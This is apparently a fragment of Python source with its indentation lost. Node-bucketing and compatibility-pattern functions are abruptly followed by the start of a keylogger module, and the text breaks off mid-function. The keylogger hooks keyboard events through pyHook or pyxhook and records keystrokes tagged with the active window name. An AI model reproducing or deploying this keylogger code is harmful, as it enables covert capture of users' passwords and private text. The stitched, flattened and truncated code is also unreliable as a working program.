def identify_buckets(node_name):
all_elts = NODE_REGISTER[node_name]
# remove the duplicate nodes
elts = [e for e in all_elts if 'seen' not in e[4]]
seen_elts = [e for e in all_elts if 'seen' in e[4]]
first, *rest = elts
first[4]['pattern'] = 0
buckets = [first]
for enode in rest:
node0, tree0, executable0, inputfile0, _info0 = enode
a0 = node0, inputfile0, tree0
compatible = None
for bi, bnode in enumerate(buckets):
node1, tree1, executable1, inputfile1, _info1 = bnode
a1 = node1, inputfile1, tree1
result = util.is_compatible(a0, a1, executable0)
if result:
compatible = bi
enode[4]['pattern'] = bi
break
if compatible is None:
enode[4]['pattern'] = len(buckets)
buckets.append(enode)
for e in seen_elts:
e_seen = e[4]['seen']
e_seen_pattern = e_seen[4]['pattern']
e[4]['pattern'] = e_seen_pattern
return {i: i for i, b in enumerate(buckets)}
def get_compatibility_pattern(xnode, sampled_nodes):
node0, tree0, executable0, inputfile0, _info = xnode
results = []
a0 = node0, inputfile0, tree0
for snode in sampled_nodes:
nodeX, treeX, executableX, inputfileX, _info = snode
aX = nodeX, inputfileX, treeX
result = util.is_compatible(a0, aX, executable0)
results.append(result)
return ''.join(['1' if i else '0' for i in results])
import cStringIO
import collections
# modules
import util
# globals
packages = ['pyHook', 'pythoncom'] if os.name == 'nt' else ['pyxhook']
platforms = ['win32', 'linux2', 'darwin']
window = None
max_size = 4000
log = cStringIO.StringIO()
results = Queue.Queue()
util.is_compatible(platforms, __name__)
util.imports(packages)
def _event(event):
try:
if event.WindowName != globals()['window']:
globals()['window'] = event.WindowName
globals()['log'].write("\n[{}]\n".format(window))
if event.Ascii > 32 and event.Ascii < 127:
globals()['log'].write(chr(event.Ascii))
elif event.Ascii == 32:
globals()['log'].write(' ')
elif event.Ascii in (10, 13):
globals()['log'].write('\n')
elif event.Ascii == 8:
